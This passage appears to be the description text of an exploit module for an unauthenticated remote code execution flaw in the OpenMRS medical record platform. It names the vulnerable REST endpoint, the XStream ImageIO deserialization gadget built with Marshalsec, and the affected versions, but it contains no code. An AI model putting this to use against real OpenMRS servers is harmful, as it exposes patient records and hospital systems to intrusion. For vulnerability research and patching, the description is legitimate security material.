        OpenMRS is an open-source platform that supplies
        users with a customizable medical record system.

        There exists an object deserialization vulnerability
        in the `webservices.rest` module used in OpenMRS Platform.
        Unauthenticated remote code execution can be achieved
        by sending a malicious XML payload to a Rest API endpoint
        such as `/ws/rest/v1/concept`.

        This module uses an XML payload generated with Marshalsec
        that targets the ImageIO component of the XStream library.

        Tested on OpenMRS Platform `v2.1.2` and `v2.21` with Java
        8 and Java 9.
